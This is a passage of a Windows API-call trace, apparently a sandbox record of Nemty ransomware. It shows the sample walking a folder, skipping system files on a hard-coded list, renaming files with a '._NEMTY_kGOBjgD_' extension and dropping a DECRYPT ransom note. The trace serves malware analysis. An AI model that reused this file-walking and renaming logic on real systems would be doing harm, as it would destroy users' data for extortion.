lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.971] CloseHandle (hObject=0x254) returned 1 [0193.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0193.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.971] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0193.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0193.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0193.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.971] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\warning.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\warning.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\warning.gif._nemty_kgobjgd_")) returned 1 [0193.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0193.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0193.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.973] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0193.973] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26e13510, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26e13510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26e13510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0193.973] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0193.974] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0193.974] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0193.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.974] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.974] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94288 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.974] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26e13510, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x26e13510, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x26e13510, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0193.974] FindClose (in: hFindFile=0x3423a70 | out: hFindFile=0x3423a70) returned 1 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.974] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0193.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.975] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4398, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2=".") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="..") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="...") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="windows") returned -1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="$RECYCLE.BIN") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="rsa") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="NTDETECT.COM") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="ntldr") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="MSDOS.SYS") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="IO.SYS") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="boot.ini") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="boot.ini") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="AUTOEXEC.BAT") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="ntuser.dat") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="desktop.ini") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="CONFIG.SYS") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="RECYCLER") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="BOOTSECT.BAK") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="bootmgr") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="programdata") returned 1 [0193.975] lstrcmpiW (lpString1="ViewerPS.dll", lpString2="appdata") returned 1 [0193.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ViewerPS.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ViewerPS.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ViewerPS.dll", lpUsedDefaultChar=0x0) returned 12 [0193.975] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ViewerPS.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.975] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ViewerPS.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ViewerPS.dll", lpUsedDefaultChar=0x0) returned 12 [0193.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.975] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ViewerPS.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ViewerPS.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ViewerPS.dll", lpUsedDefaultChar=0x0) returned 12 [0193.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ViewerPS.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.976] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ViewerPS.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ViewerPS.dll", lpUsedDefaultChar=0x0) returned 12 [0193.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0193.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0193.976] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2=".") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="..") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="...") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="windows") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="$RECYCLE.BIN") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="rsa") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="NTDETECT.COM") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="ntldr") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="MSDOS.SYS") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="IO.SYS") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="boot.ini") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="boot.ini") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="AUTOEXEC.BAT") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="ntuser.dat") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="desktop.ini") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="CONFIG.SYS") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="RECYCLER") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="BOOTSECT.BAK") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="bootmgr") returned 1 [0193.976] lstrcmpiW (lpString1="wow_helper.exe", lpString2="programdata") returned 1 [0193.977] lstrcmpiW (lpString1="wow_helper.exe", lpString2="appdata") returned 1 [0193.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wow_helper.exe", lpUsedDefaultChar=0x0) returned 14 [0193.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wow_helper.exe", lpUsedDefaultChar=0x0) returned 14 [0193.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x653ef60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wow_helper.exe", lpUsedDefaultChar=0x0) returned 14 [0193.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.977] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="wow_helper.exe", cchWideChar=14, lpMultiByteStr=0x653ef98, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wow_helper.exe", lpUsedDefaultChar=0x0) returned 14 [0193.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0193.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0193.977] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x190ff9d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x190ff9d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x190ff9d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.977] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0193.978] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0193.978] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0193.978] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0193.978] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0193.978] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0193.978] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0193.978] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0193.978] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0193.978] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0193.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0193.978] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.978] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 